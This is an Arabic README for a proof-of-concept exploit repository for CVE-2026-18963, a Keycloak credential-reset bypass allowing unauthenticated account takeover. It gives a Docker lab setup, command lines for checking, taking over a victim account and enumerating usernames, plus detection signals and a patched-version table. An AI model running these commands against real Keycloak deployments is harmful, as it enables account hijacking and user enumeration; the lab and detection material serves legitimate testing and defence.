
هذا المستودع هو إثبات مفهوم (PoC) لثغرة cve-2026-18963. يُرجى استخدامه على المنتجات القانونية فقط (المختبر، المحلي، ...).
تجاوز إعادة تعيين بيانات الاعتماد في Keycloak ← استيلاء على الحساب دون مصادقة CVSS 9.1 | المتأثر: Keycloak 26.0.0 – 26.7.1
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml <- Lab environment
└── realm-poc.json <- Keycloak realm config (auto-imported)
docker compose up -d
أو شغّل Keycloak مباشرةً، دون استيراد الـ realm:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
انتظر حوالي 30–60 ثانية حتى يكمل Keycloak الإقلاع.
| الخدمة | الرابط | الإصدار | الحالة |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | VULNERABLE ⚠️ |
| Mailpit | http://localhost:8025 | latest | يلتقط البريد الإلكتروني |
admin / adminvictim / OriginalPassw0rd!poc | Client: poc-apppoc أو المستخدم victim مفقودًا، فاستورده يدويًا:
Manage realms ← Create realm ← Upload realm-poc.json.python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
[!] النتيجة المتوقعة على kc-vuln:
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
الآثار الجانبية: يتم إرسال بريد إعادة تعيين إلى الضحية (اعرضه على http://localhost:8025)، ويتم تعيين
emailVerifiedإلىtrue.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
بعد ذلك، تحقّق من خلال تسجيل الدخول على http://localhost:8080/realms/poc/account
باستخدام victim / PoCPassw0rd!1.
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
يُستورد النطاق (realm) فقط عند الإقلاع الأول، لذا فإن أبسط طريقة لإعادة الضبط هي إعادة إنشاء البيئة من الصفر:
docker compose down -v && docker compose up -d
بدلاً من ذلك، أعد تعيين كلمة المرور يدويًا في وحدة تحكم المسؤول
(http://localhost:8080/admin): Users → victim → Credentials → Reset password
→ OriginalPassw0rd!.
docker compose down -v
| الإشارة | مشروعة | استغلال |
|---|---|---|
GET /login-actions/action-token?... | ✅ نعم | ❌ لا |
POST .../reset-credentials مع body tryAnotherWay=yes | ❌ لا | ✅ نعم |
SEND_RESET_PASSWORD → UPDATE_PASSWORD مع نفس code_id < 2 ثانية | نادر | ✅ دائمًا |
emailVerified يتحول إلى true بدون حدث VERIFY_EMAIL | ❌ | ✅ دائمًا |
في Mailpit (http://localhost:8025) تصل رسالة إعادة تعيين كلمة المرور إلى صندوق بريد الضحية، لكن الرابط الموجود داخلها لا يُنقر عليه أبدًا عندما ينجح الاستغلال.
| خط الإصدار | متأثر | الإصلاح |
|---|---|---|
| ≤ 17 (WildFly) | لا | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | لا يوجد (يجب الانتقال إلى 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (backport من المورّد) |
| 26.5 | 26.5.0 – 26.5.7 | لا يوجد |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (backport من المورّد) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
الإصدارات الأقدم من 26.0 غير متأثرة: إذ إن ملاحظة
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDالثابتة وشاشة المحدِّد "Try another way" في تدفق إعادة التعيين قد أُدخلتا في 26.0.0. تفتقر البِنى الأقدم ببساطة إلى مسار الشيفرة القابل للاستغلال — وهذا ليس مماثلًا لكونها مُرقَّعة.